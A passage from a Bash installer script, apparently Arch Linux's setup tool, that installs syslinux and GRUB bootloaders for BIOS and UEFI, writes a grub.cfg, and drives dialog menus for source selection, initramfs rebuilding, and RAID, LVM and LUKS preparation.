return 1
else
SYSLINUX_OPTS="--raid"
fi
fi
# extlinux cannot boot from btrfs raid
find_btrfs_raid_bootloader_devices
if [[ ${BTRFS_COUNT} -ge 3 ]]; then
DIALOG --msgbox "Error:\n${SYSLINUX} cannot boot from any btrfs raid." 0 0
return 1
fi
# extlinux cannot boot from btrfs subvolume
find_btrfs_bootloader_subvolume
if [[ ${BTRFS_SUBVOLUME_COUNT} -ge 3 ]]; then
DIALOG --msgbox "Error:\n${SYSLINUX} cannot boot from btrfs subvolume." 0 0
return 1
fi
DEVS="$(findbootloaderdisks _)"
DEVS="${DEVS} $(findbootloaderpartitions _)"
if [[ "${DEVS}" == "" ]]; then
DIALOG --msgbox "No storage drives were found" 0 0
return 1
fi
DIALOG --menu "Select the boot device where the ${SYSLINUX} BIOS bootloader will be installed (usually the MBR)" 14 55 7 ${DEVS} 2>${ANSWER} || return 1
ROOTDEV=$(cat ${ANSWER})
# check if GPT/GUID is used
GUID_DETECTED=""
[[ "$(${_BLKID} -p -i -o value -s PTTYPE ${ROOTDEV})" == "gpt" ]] && GUID_DETECTED="1"
PARTITION_NUMBER=$(echo ${bootdev} | sed -e 's#.*[a-z]##g')
if [[ "${GUID_DETECTED}" == '1' ]]; then
# Set Legacy BIOS Bootable GPT Partition Attribute using sgdisk
if ! [[ "$(sgdisk -i ${PARTITION_NUMBER} ${ROOTDEV} | grep '^Attribute' | grep '4$')" ]]; then
sgdisk ${ROOTDEV} --attributes=${PARTITION_NUMBER}:set:2
fi
else
printk off
# mark the partition with /boot as active in MBR
parted -s ${ROOTDEV} set ${PARTITION_NUMBER} boot on >${LOG}
printk on
fi
## install syslinux/extlinux bios
DIALOG --infobox "Installing the ${SYSLINUX} BIOS bootloader..." 0 0
mkdir -p "${DESTDIR}/boot/${SYSLINUX_DIR}" || true
cp -f "${DESTDIR}/usr/lib/syslinux/bios"/*.c32 "${DESTDIR}/boot/${SYSLINUX_DIR}"
chroot_mount
chroot "${DESTDIR}" "${SYSLINUX_PROGRAM}" ${SYSLINUX_OPTS} --install "/boot/${SYSLINUX_DIR}" &>"${LOG}"
chroot_umount
MBR="${DESTDIR}/usr/lib/syslinux/bios/mbr.bin"
GPTMBR="${DESTDIR}/usr/lib/syslinux/bios/gptmbr.bin"
## Install MBR boot code only if the selected ROOTDEV is a DISC and not a partition
if [[ "$(${_LSBLK} TYPE -d ${ROOTDEV} | grep "disk")" ]]; then
## check if GPT/GUID is used
GUID_DETECTED=""
[[ "$(${_BLKID} -p -i -o value -s PTTYPE ${ROOTDEV})" == "gpt" ]] && GUID_DETECTED="1"
if [[ "${GUID_DETECTED}" == '1' ]]; then
cat "${GPTMBR}" > "${ROOTDEV}"
else
cat "${MBR}" > "${ROOTDEV}"
fi
fi
[[ -f "${_MEDIA}/boot/syslinux/splash.png" ]] && cp -f "${_MEDIA}/boot/syslinux/splash.png" "${DESTDIR}/boot/${SYSLINUX_DIR}"
# btrfs does not have ldlinux.sys in filesystem!
if [[ -e "${DESTDIR}/boot/${SYSLINUX_DIR}/ldlinux.sys" || "${FSTYPE}" == "btrfs" ]]; then
_SYSLINUX_UEFI="0"
_SYSLINUX_BIOS="1"
do_syslinux_config
_SYSLINUX_BIOS=""
_SYSLINUX_UEFI=""
DIALOG --msgbox "${SYSLINUX} was successfully installed." 0 0
else
DIALOG --msgbox "Error installing ${SYSLINUX}. (see ${LOG} for output)" 0 0
return 1
fi
}
do_grub_common_before() {
##### Check whether the below limitations still continue with ver 2.00~beta4
### Grub(2) restrictions:
## - Encryption is not recommended for grub(2) /boot!
bootdev=""
grubdev=""
complexuuid=""
FAIL_COMPLEX=""
USE_DMRAID=""
RAID_ON_LVM=""
common_bootloader_checks
abort_f2fs_bootpart || return 1
if ! [[ "$(dmraid -r | grep ^no )" ]]; then
DIALOG --yesno "Setup detected dmraid device.\nDo you want to install grub on this device?" 0 0 && USE_DMRAID="1"
fi
if [[ ! -f "${DESTDIR}/usr/lib/grub/i386-pc/kernel.img" ]]; then
DIALOG --msgbox "Couldn't find ${DESTDIR}/usr/lib/grub/i386-pc/kernel.img , installing grub pkg now ..." 0 0
PACKAGES="grub"
run_pacman
# reset PACKAGES after installing
unset PACKAGES
fi
}
do_grub_config() {
chroot_mount
########
BOOT_PART_FS_UUID="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs_uuid" "/boot" 2>/dev/null)"
BOOT_PART_FS_LABEL="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs_label" "/boot" 2>/dev/null)"
BOOT_PART_HINTS_STRING="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="hints_string" "/boot" 2>/dev/null)"
BOOT_PART_FS="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs" "/boot" 2>/dev/null)"
BOOT_PART_DRIVE="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="drive" "/boot" 2>/dev/null)"
########
ROOT_PART_FS_UUID="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs_uuid" "/" 2>/dev/null)"
ROOT_PART_FS_LABEL="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs_label" "/" 2>/dev/null)"
ROOT_PART_HINTS_STRING="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="hints_string" "/" 2>/dev/null)"
ROOT_PART_FS="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs" "/" 2>/dev/null)"
ROOT_PART_DEVICE="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="device" "/" 2>/dev/null)"
########
USR_PART_FS_UUID="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs_uuid" "/usr" 2>/dev/null)"
USR_PART_HINTS_STRING="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="hints_string" "/usr" 2>/dev/null)"
USR_PART_FS="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs" "/usr" 2>/dev/null)"
########
if [[ "${GRUB_UEFI}" == "1" ]]; then
UEFISYS_PART_FS_UUID="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="fs_uuid" "/${UEFISYS_MOUNTPOINT}" 2>/dev/null)"
UEFISYS_PART_HINTS_STRING="$(chroot "${DESTDIR}" /usr/bin/grub-probe --target="hints_string" "/${UEFISYS_MOUNTPOINT}" 2>/dev/null)"
fi
########
if [[ "$(${_BLKID} -p -i -o value -s PART_ENTRY_SCHEME ${ROOT_PART_DEVICE})" == 'gpt' ]]; then
ROOT_PART_GPT_GUID="$(${_LSBLK} PARTUUID ${ROOT_PART_DEVICE})"
ROOT_PART_GPT_LABEL="$(${_LSBLK} PARTLABEL ${ROOT_PART_DEVICE})"
fi
########
if [[ "${ROOT_PART_FS_UUID}" == "${BOOT_PART_FS_UUID}" ]]; then
subdir="/boot"
else
subdir=""
fi
########
## Move old config file, if any
mv "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg" "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg.bak" || true
## Ignore if the insmod entries are repeated - there are possibilities of having /boot in one disk and root-fs in altogether different disk
## with totally different configuration.
cat << EOF > "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
if [ "\${grub_platform}" == "efi" ]; then
set _UEFI_ARCH="\${grub_cpu}"
if [ "\${grub_cpu}" == "x86_64" ]; then
set _SPEC_UEFI_ARCH="x64"
fi
if [ "\${grub_cpu}" == "i386" ]; then
set _SPEC_UEFI_ARCH="ia32"
fi
fi
EOF
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
insmod part_gpt
insmod part_msdos
# Include fat fs module - required for uefi systems.
insmod fat
insmod ${BOOT_PART_FS}
insmod ${ROOT_PART_FS}
insmod ${USR_PART_FS}
insmod search_fs_file
insmod search_fs_uuid
insmod search_label
insmod linux
insmod chain
set pager="1"
# set debug="all"
set locale_dir="\${prefix}/locale"
EOF
[[ "${USE_RAID}" == "1" ]] && echo "insmod raid" >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
! [[ "${RAID_ON_LVM}" == "" ]] && echo "insmod lvm" >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
if [ -e "\${prefix}/\${grub_cpu}-\${grub_platform}/all_video.mod" ]; then
insmod all_video
else
if [ "\${grub_platform}" == "efi" ]; then
insmod efi_gop
insmod efi_uga
fi
if [ "\${grub_platform}" == "pc" ]; then
insmod vbe
insmod vga
fi
insmod video_bochs
insmod video_cirrus
fi
insmod font
search --fs-uuid --no-floppy --set=usr_part ${USR_PART_HINTS_STRING} ${USR_PART_FS_UUID}
search --fs-uuid --no-floppy --set=root_part ${ROOT_PART_HINTS_STRING} ${ROOT_PART_FS_UUID}
if [ -e "\${prefix}/fonts/unicode.pf2" ]; then
set _fontfile="\${prefix}/fonts/unicode.pf2"
else
if [ -e "(\${root_part})/usr/share/grub/unicode.pf2" ]; then
set _fontfile="(\${root_part})/usr/share/grub/unicode.pf2"
else
if [ -e "(\${usr_part})/share/grub/unicode.pf2" ]; then
set _fontfile="(\${usr_part})/share/grub/unicode.pf2"
fi
fi
fi
if loadfont "\${_fontfile}" ; then
insmod gfxterm
set gfxmode="auto"
terminal_input console
terminal_output gfxterm
fi
EOF
echo "" >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
sort "/tmp/.device-names" >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
echo "" >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
if [[ "${NAME_SCHEME_PARAMETER}" == "PARTUUID" ]] || [[ "${NAME_SCHEME_PARAMETER}" == "FSUUID" ]] ; then
GRUB_ROOT_DRIVE="search --fs-uuid --no-floppy --set=root ${BOOT_PART_HINTS_STRING} ${BOOT_PART_FS_UUID}"
else
if [[ "${NAME_SCHEME_PARAMETER}" == "PARTLABEL" ]] || [[ "${NAME_SCHEME_PARAMETER}" == "FSLABEL" ]] ; then
GRUB_ROOT_DRIVE="search --label --no-floppy --set=root ${BOOT_PART_HINTS_STRING} ${BOOT_PART_FS_LABEL}"
else
GRUB_ROOT_DRIVE="set root="${BOOT_PART_DRIVE}""
fi
fi
if [[ "${GRUB_UEFI}" == "1" ]]; then
LINUX_UNMOD_COMMAND="linux ${subdir}/${VMLINUZ} ${_KERNEL_PARAMS_UEFI_MOD}"
else
LINUX_UNMOD_COMMAND="linux ${subdir}/${VMLINUZ} ${_KERNEL_PARAMS_BIOS_MOD}"
fi
LINUX_MOD_COMMAND=$(echo "${LINUX_UNMOD_COMMAND}" | sed -e 's# # #g' | sed -e 's# # #g')
## create default kernel entry
NUMBER="0"
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
# (${NUMBER}) Arch Linux
menuentry "Arch Linux" {
set gfxpayload="keep"
${GRUB_ROOT_DRIVE}
${LINUX_MOD_COMMAND}
initrd ${subdir}/${INTEL_UCODE} ${subdir}/${INITRAMFS}.img
}
EOF
NUMBER=$((${NUMBER}+1))
## create kernel fallback entry
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
# (${NUMBER}) Arch Linux Fallback
menuentry "Arch Linux Fallback" {
set gfxpayload="keep"
${GRUB_ROOT_DRIVE}
${LINUX_MOD_COMMAND}
initrd ${subdir}/${INTEL_UCODE} ${subdir}/${INITRAMFS}-fallback.img
}
EOF
NUMBER=$((${NUMBER}+1))
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
if [ "\${grub_platform}" == "efi" ]; then
## UEFI Shell 2.0
#menuentry "UEFI Shell \${_UEFI_ARCH} v2" {
# search --fs-uuid --no-floppy --set=root ${UEFISYS_PART_HINTS_STRING} ${UEFISYS_PART_FS_UUID}
# chainloader /EFI/tools/shell\${_SPEC_UEFI_ARCH}_v2.efi
#}
## UEFI Shell 1.0
#menuentry "UEFI Shell \${_UEFI_ARCH} v1" {
# search --fs-uuid --no-floppy --set=root ${UEFISYS_PART_HINTS_STRING} ${UEFISYS_PART_FS_UUID}
# chainloader /EFI/tools/shell\${_SPEC_UEFI_ARCH}_v1.efi
#}
fi
EOF
NUMBER=$((${NUMBER}+1))
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
if [ "\${grub_platform}" == "efi" ]; then
if [ "\${grub_cpu}" == "x86_64" ]; then
## Microsoft Windows Vista/7/8 via x86_64 UEFI
#menuentry \"Microsoft Windows Vista/7/8 x86_64 UEFI-GPT\" {
# insmod part_gpt
# insmod fat
# insmod search_fs_uuid
# insmod chain
# search --fs-uuid --no-floppy --set=root ${UEFISYS_PART_HINTS_STRING} ${UEFISYS_PART_FS_UUID}
# chainloader /EFI/Microsoft/Boot/bootmgfw.efi
#}
fi
fi
EOF
NUMBER=$((${NUMBER}+1))
## TODO: Detect actual Windows installation if any
## create example file for windows
cat << EOF >> "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
if [ "\${grub_platform}" == "pc" ]; then
## Microsoft Windows Vista/7/8 via BIOS
#menuentry \"Microsoft Windows Vista/7/8 BIOS-MBR\" {
# insmod part_msdos
# insmod ntfs
# insmod search_fs_uuid
# insmod ntldr
# search --fs-uuid --no-floppy --set=root <FS_UUID of Windows SYSTEM Partition>
# ntldr /bootmgr
#}
## Microsoft Windows XP
#menuentry \"Microsoft Windows XP\" {
# insmod part_msdos
# insmod ntfs
# insmod search_fs_uuid
# insmod ntldr
# search --fs-uuid --no-floppy --set=root <FS_UUID of Windows SYSTEM Partition>
# ntldr /ntldr
#}
fi
EOF
## copy unicode.pf2 font file
cp -f "${DESTDIR}/usr/share/grub/unicode.pf2" "${DESTDIR}/${GRUB_PREFIX_DIR}/fonts/unicode.pf2"
chroot_umount
## Edit grub.cfg config file
DIALOG --msgbox "You must now review the grub(2) configuration file.\n\nYou will now be put into the editor. After you save your changes, exit the editor." 0 0
geteditor || return 1
"${EDITOR}" "${DESTDIR}/${GRUB_PREFIX_DIR}/grub.cfg"
unset BOOT_PART_FS_UUID
unset BOOT_PART_FS
unset BOOT_PART_FS_LABEL
unset BOOT_PART_DRIVE
unset ROOT_PART_FS_UUID
unset ROOT_PART_FS
unset ROOT_PART_FS_LABEL
unset ROOT_PART_DEVICE
unset GRUB_ROOT_DRIVE
unset LINUX_UNMOD_COMMAND
unset LINUX_MOD_COMMAND
}
do_grub_bios() {
do_grub_common_before
# try to auto-configure GRUB(2)...
if [[ "${PART_ROOT}" != "" ]]; then
check_bootpart
# check if raid, raid partition, dmraid or device devicemapper is used
if [[ "$(echo ${bootdev} | grep /dev/md)" ]] || [[ "$(echo ${bootdev} | grep /dev/mapper)" ]]; then
# boot from lvm, raid, partitioned raid and dmraid devices is supported
FAIL_COMPLEX="0"
if [[ "$(cryptsetup status ${bootdev})" ]]; then
# encryption devices are not supported
FAIL_COMPLEX="1"
fi
fi
if [[ "${FAIL_COMPLEX}" == "0" ]]; then
grubdev=$(basename ${bootdev})
complexuuid=$(getfsuuid ${bootdev})
# check if mapper is used
if [[ "$(echo ${bootdev} | grep /dev/mapper)" ]]; then
RAID_ON_LVM="0"
#check if mapper contains a md device!
for devpath in $(pvs -o pv_name --noheading); do
if [[ "$(echo ${devpath} | grep -v /dev/md*p | grep /dev/md)" ]]; then
detectedvolumegroup="$(echo $(pvs -o vg_name --noheading ${devpath}))"
if [[ "$(echo /dev/mapper/${detectedvolumegroup}-* | grep ${bootdev})" ]]; then
# change bootdev to md device!
bootdev=$(pvs -o pv_name --noheading ${devpath})
RAID_ON_LVM="1"
break
fi
fi
done
fi
#check if raid is used
USE_RAID=""
if [[ "$(echo ${bootdev} | grep /dev/md)" ]]; then
USE_RAID="1"
fi
else
# use normal device
grubdev=$(mapdev ${bootdev})
fi
fi
# A switch is needed if complex ${bootdev} is used!
# - LVM and RAID ${bootdev} needs the MBR of a device and cannot be used itself as ${bootdev}
if [[ "${FAIL_COMPLEX}" == "0" ]]; then
DEVS="$(findbootloaderdisks _)"
if [[ "${DEVS}" == "" ]]; then
DIALOG --msgbox "No storage drives were found" 0 0
return 1
fi
DIALOG --menu "Select the boot device where the GRUB(2) bootloader will be installed." 14 55 7 ${DEVS} 2>${ANSWER} || return 1
bootdev=$(cat ${ANSWER})
else
DEVS="$(findbootloaderdisks _)"
## grub BIOS install to partition is not supported
# DEVS="${DEVS} $(findbootloaderpartitions _)"
if [[ "${DEVS}" == "" ]]; then
DIALOG --msgbox "No storage drives were found" 0 0
return 1
fi
DIALOG --menu "Select the boot device where the GRUB(2) bootloader will be installed." 14 55 7 ${DEVS} 2>${ANSWER} || return 1
bootdev=$(cat ${ANSWER})
fi
if [[ "$(${_BLKID} -p -i -o value -s PTTYPE ${bootdev})" == "gpt" ]]; then
CHECK_BIOS_BOOT_GRUB="1"
CHECK_UEFISYS_PART=""
RUN_CGDISK=""
DISC="${bootdev}"
check_gpt
else
if [[ "${FAIL_COMPLEX}" == "0" ]]; then
DIALOG --defaultno --yesno "Warning:\nSetup detected no GUID (gpt) partition table.\n\nGrub(2) has only space for approx. 30k core.img file. Depending on your setup, it might not fit into this gap and fail.\n\nDo you really want to install grub(2) to a msdos partition table?" 0 0 || return 1
fi
fi
if [[ "${FAIL_COMPLEX}" == "1" ]]; then
DIALOG --msgbox "Error:\nGrub(2) cannot boot from ${bootdev}, which contains /boot!\n\nPossible error sources:\n- encrypted devices are not supported" 0 0
return 1
fi
DIALOG --infobox "Installing the GRUB(2) BIOS bootloader..." 0 0
# freeze and unfreeze xfs filesystems to enable grub(2) installation on xfs filesystems
freeze_xfs
chroot_mount
chroot "${DESTDIR}" "/usr/bin/grub-install" \
--directory="/usr/lib/grub/i386-pc" \
--target="i386-pc" \
--boot-directory="/boot" \
--recheck \
--debug \
"${bootdev}" &>"/tmp/grub_bios_install.log"
chroot_umount
mkdir -p "${DESTDIR}/boot/grub/locale"
cp -f "${DESTDIR}/usr/share/locale/en@quot/LC_MESSAGES/grub.mo" "${DESTDIR}/boot/grub/locale/en.mo"
if [[ -e "${DESTDIR}/boot/grub/i386-pc/core.img" ]]; then
DIALOG --msgbox "GRUB(2) BIOS has been successfully installed." 0 0
GRUB_PREFIX_DIR="/boot/grub/"
GRUB_BIOS="1"
do_grub_config
GRUB_BIOS=""
else
DIALOG --msgbox "Error installing GRUB(2) BIOS.\nCheck /tmp/grub_bios_install.log for more info.\n\nYou probably need to install it manually by chrooting into ${DESTDIR}.\nDon't forget to bind mount /dev and /proc into ${DESTDIR} before chrooting." 0 0
return 1
fi
}
do_grub_uefi() {
do_uefi_common
[[ "${_UEFI_ARCH}" == "X64" ]] && _GRUB_ARCH="x86_64"
[[ "${_UEFI_ARCH}" == "IA32" ]] && _GRUB_ARCH="i386"
do_grub_common_before
chroot_mount
## Create GRUB Standalone EFI image - https://wiki.archlinux.org/index.php/GRUB#GRUB_Standalone
echo 'configfile ${cmdpath}/grub.cfg' > /tmp/grub.cfg
chroot "${DESTDIR}" "/usr/bin/grub-mkstandalone" \
--directory="/usr/lib/grub/${_GRUB_ARCH}-efi" \
--format="${_GRUB_ARCH}-efi" \
--modules="part_gpt part_msdos" \
--install-modules="all" \
--fonts="unicode" \
--locales="en@quot" \
--themes="" \
--verbose \
--output="${UEFISYS_MOUNTPOINT}/EFI/grub/grub${_SPEC_UEFI_ARCH}_standalone.efi" \
"/boot/grub/grub.cfg=/tmp/grub.cfg" &> "/tmp/grub_uefi_${_UEFI_ARCH}_mkstandalone.log"
## Install GRUB normally
chroot "${DESTDIR}" "/usr/bin/grub-install" \
--directory="/usr/lib/grub/${_GRUB_ARCH}-efi" \
--target="${_GRUB_ARCH}-efi" \
--efi-directory="${UEFISYS_MOUNTPOINT}" \
--bootloader-id="grub" \
--boot-directory="/boot" \
--no-nvram \
--recheck \
--debug &> "/tmp/grub_uefi_${_UEFI_ARCH}_install.log"
cat "/tmp/grub_uefi_${_UEFI_ARCH}_mkstandalone.log" >> "${LOG}"
cat "/tmp/grub_uefi_${_UEFI_ARCH}_install.log" >> "${LOG}"
GRUB_PREFIX_DIR="/boot/grub/"
GRUB_UEFI="1"
do_grub_config
GRUB_UEFI=""
if [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/grub/grub${_SPEC_UEFI_ARCH}_standalone.efi" ]]; then
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/${GRUB_PREFIX_DIR}/grub.cfg" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/grub/grub.cfg"
_BOOTMGR_LABEL="GRUB_Standalone"
_BOOTMGR_LOADER_DIR="/EFI/grub/grub${_SPEC_UEFI_ARCH}_standalone.efi"
do_uefi_bootmgr_setup
DIALOG --msgbox "GRUB(2) Standalone for ${_UEFI_ARCH} UEFI has been installed successfully." 0 0
fi
if [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/grub/grub${_SPEC_UEFI_ARCH}.efi" ]] && [[ -e "${DESTDIR}/boot/grub/${_GRUB_ARCH}-efi/core.efi" ]]; then
_BOOTMGR_LABEL="GRUB_Normal"
_BOOTMGR_LOADER_DIR="/EFI/grub/grub${_SPEC_UEFI_ARCH}.efi"
do_uefi_bootmgr_setup
DIALOG --msgbox "GRUB(2) for ${_UEFI_ARCH} UEFI has been installed successfully." 0 0
DIALOG --defaultno --yesno "Do you want to copy ${UEFISYS_MOUNTPOINT}/EFI/grub/grub${_SPEC_UEFI_ARCH}.efi to ${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi ?\n\nThis might be needed in some systems where efibootmgr may not work due to firmware issues." 0 0 && _UEFISYS_EFI_BOOT_DIR="1"
if [[ "${_UEFISYS_EFI_BOOT_DIR}" == "1" ]] || [[ "${_DETECTED_UEFI_SECURE_BOOT}" == "1" ]]; then
mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi" || true
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/grub/grub${_SPEC_UEFI_ARCH}.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi"
do_uefi_secure_boot_preloader
fi
else
DIALOG --msgbox "Error installing GRUB(2) for ${_UEFI_ARCH} UEFI.\nCheck /tmp/grub_uefi_${_UEFI_ARCH}_install.log for more info.\n\nYou probably need to install it manually by chrooting into ${DESTDIR}.\nDon't forget to bind mount /dev, /sys and /proc into ${DESTDIR} before chrooting." 0 0
return 1
fi
}
select_source() {
NEXTITEM="4"
if ! [[ "$(which ${DLPROG})" ]]; then
DIALOG --menu "Please select an installation source" 10 45 3 \
"1" "CD-ROM, USBSTICK or OTHER SOURCE" 2>${ANSWER} || return 1
else
DIALOG --menu "Please select an installation source" 10 45 3 \
"1" "CD-ROM, USBSTICK or OTHER SOURCE" \
"2" "NETWORK" 2>${ANSWER} || return 1
fi
case $(cat ${ANSWER}) in
"1")
MODE="media"
;;
"2")
MODE="network"
;;
esac
if [[ "${MODE}" = "media" ]]; then
TITLE="Arch Linux CDROM, USBSTICK or OTHER SOURCE Installation"
getsource || return 1
else
if [[ ${S_NET} -eq 0 ]]; then
donetwork
fi
if [[ ${S_TESTING} -eq 0 ]]; then
dotesting
fi
TITLE="Arch Linux NETWORK Installation"
fi
getsource || return 1
NEXTITEM="5"
}
set_clock() {
if [[ -e /usr/bin/tz ]]; then
tz --setup && NEXTITEM="3"
else
DIALOG --msgbox "Error:\ntz script not found, aborting clock setting" 0 0
fi
}
set_keyboard() {
if [[ -e /usr/bin/km ]]; then
km --setup && NEXTITEM="1"
else
DIALOG --msgbox "Error:\nkm script not found, aborting keyboard and console setting" 0 0
fi
}
# run_mkinitcpio()
# runs mkinitcpio on the target system, displays output
#
run_mkinitcpio() {
chroot_mount
# all mkinitcpio output goes to /tmp/mkinitcpio.log, which we tail into a dialog
( \
touch /tmp/setup-mkinitcpio-running
echo "Initramfs progress ..." > /tmp/initramfs.log; echo >> /tmp/mkinitcpio.log
chroot ${DESTDIR} /usr/bin/mkinitcpio -p ${KERNELPKG} >>/tmp/mkinitcpio.log 2>&1
echo >> /tmp/mkinitcpio.log
rm -f /tmp/setup-mkinitcpio-running
) &
sleep 2
dialog --backtitle "${TITLE}" --title "Rebuilding initramfs images ..." --no-kill --tailboxbg "/tmp/mkinitcpio.log" 18 70
while [[ -f /tmp/setup-mkinitcpio-running ]]; do
/usr/bin/true
done
chroot_umount
}
prepare_storagedrive() {
S_MKFSAUTO=0
S_MKFS=0
DONE=0
NEXTITEM=""
detect_uefi_boot
while [[ "${DONE}" = "0" ]]; do
if [[ -n "${NEXTITEM}" ]]; then
DEFAULT="--default-item ${NEXTITEM}"
else
DEFAULT=""
fi
CANCEL=""
dialog ${DEFAULT} --backtitle "${TITLE}" --menu "Prepare Storage Drive" 12 60 5 \
"1" "Auto-Prepare (erases the ENTIRE storage drive)" \
"2" "Partition Storage Drives" \
"3" "Create Software Raid, Lvm2 and Luks encryption" \
"4" "Set Filesystem Mountpoints" \
"5" "Return to Main Menu" 2>${ANSWER} || CANCEL="1"
NEXTITEM="$(cat ${ANSWER})"
[[ "${S_MKFSAUTO}" = "1" ]] && DONE=1
case $(cat ${ANSWER}) in
"1")
autoprepare
[[ "${S_MKFSAUTO}" = "1" ]] && DONE=1
;;
"2")
partition ;;
"3")
create_special ;;
"4")
PARTFINISH=""
ASK_MOUNTPOINTS="1"
mountpoints ;;
*)
DONE=1 ;;
esac
done
if [[ "${CANCEL}" = "1" ]]; then
NEXTITEM="3"
else
NEXTITEM="4"
fi
}
# menu for raid, lvm and encrypt
create_special() {
NEXTITEM=""
SPECIALDONE=0
while [[ "${SPECIALDONE}" = "0" ]]; do
if [[ -n "${NEXTITEM}" ]]; then
DEFAULT="--default-item ${NEXTITEM}"
else
DEFAULT=""
fi
CANCEL=""
dialog ${DEFAULT} --backtitle "${TITLE}" --menu "Create Software Raid, LVM2 and Luks encryption" 14 60 5 \
"1" "Create Software Raid" \
"2" "Create LVM2" \
"3" "Create Luks encryption" \
"4" "Return to Previous Menu" 2>${ANSWER} || CANCEL="1"
NEXTITEM="$(cat ${ANSWER})"
case $(cat ${ANSWER}) in
"1")
_createmd ;;
"2")
_createlvm ;;
"3")
_createluks ;;
*)
SPECIALDONE=1 ;;
esac
done
if [[ "${CANCEL}" = "1" ]]; then
NEXTITEM="3"
else
NEXTITEM="4"
fi
}
# menu for md creation
_createmd() {
NEXTITEM=""
MDDONE=0
while [[ "${MDDONE}" = "0" ]]; do
if [[ -n "${NEXTITEM}" ]]; then
DEFAULT="--default-item ${NEXTITEM}"
else
DEFAULT=""
fi
CANCEL=""
dialog ${DEFAULT} --backtitle "${TITLE}" --menu "Create Software Raid" 12 60 5 \
"1" "Raid Help" \
"2" "Reset Software Raid completely" \
"3" "Create Software Raid" \
"4" "Create Partitionable Software Raid" \
"5" "Return to Previous Menu" 2>${ANSWER} || CANCEL="1"
NEXTITEM="$(cat ${ANSWER})"
case $(cat ${ANSWER}) in
"1")
_helpraid ;;
"2")
_stopmd ;;
"3")
RAID_PARTITION=""
_raid ;;
"4")
RAID_PARTITION="1"
_raid ;;
*)
MDDONE=1 ;;
esac
done
if [[ "${CANCEL}" = "1" ]]; then
NEXTITEM="1"
else
NEXTITEM="4"
fi
}
# menu for lvm creation
_createlvm() {
NEXTITEM=""
LVMDONE=0
while [[ "${LVMDONE}" = "0" ]]; do
if [[ -n "${NEXTITEM}" ]]; then
DEFAULT="--default-item ${NEXTITEM}"
else
DEFAULT=""
fi
CANCEL=""
dialog ${DEFAULT} --backtitle "${TITLE}" --menu "Create physical volume, volume group or logical volume" 13 60 7 \
"1" "LVM Help" \
"2" "Reset Logical Volume completely" \
"3" "Create Physical Volume" \
"4" "Create Volume Group" \
"5" "Create Logical Volume" \
"6" "Return to Previous Menu" 2>${ANSWER} || CANCEL="1"
NEXTITEM="$(cat ${ANSWER})"
case $(cat ${ANSWER}) in
"1")
_helplvm ;;
"2")
_stoplvm ;;
"3")
_createpv ;;
"4")
_createvg ;;
"5")
_createlv ;;
*)
LVMDONE=1 ;;
esac
done
if [[ "${CANCEL}" = "1" ]]; then
NEXTITEM="2"
else
NEXTITEM="4"
fi
}
# menu for luks creation
_createluks() {
NEXTITEM=""
LUKSDONE=0
while [[ "${LUKSDONE}" = "0" ]]; do
if [[ -n "${NEXTITEM}" ]]; then
DEFAULT="--default-item ${NEXTITEM}"
else
DEFAULT=""
fi
CANCEL=""
dialog ${DEFAULT} --backtitle "${TITLE}" --menu "Create Luks Encryption" 12 60 5 \
"1" "Luks Help" \
"2" "Reset Luks Encryption completely" \
"3" "Create Luks" \
"4" "Return to Previous Menu" 2>${ANSWER} || CANCEL="1"
NEXTITEM="$(cat ${ANSWER})"
case $(cat ${ANSWER}) in
"1")
_helpluks ;;
"2")
_stopluks ;;
"3")
_luks ;;
*)
LUKSDONE=1 ;;
esac
done
if [[ "${CANCEL}" = "1" ]]; then
NEXTITEM="3"
else
NEXTITEM="4"
fi
}
auto_hwdetect() {
HWDETECT=""
FBPARAMETER=""
HWPARAMETER=""
HWDETECTMODULES=""
HWDETECTHOOKS=""
HWKVER==
DIALOG --yesno "PRECONFIGURATION?\n-----------------\n\nDo you want to use 'hwdetect' for:\n'/etc/mkinitcpio.conf'?\n\nThis ensures consistent ordering of your storage disk / usb controllers.\n\nIt is recommended to say 'YES' here." 18 70 && HWDETECT="yes"
if [[ "${HWDETECT}" = "yes" ]]; then
# check on used keymap
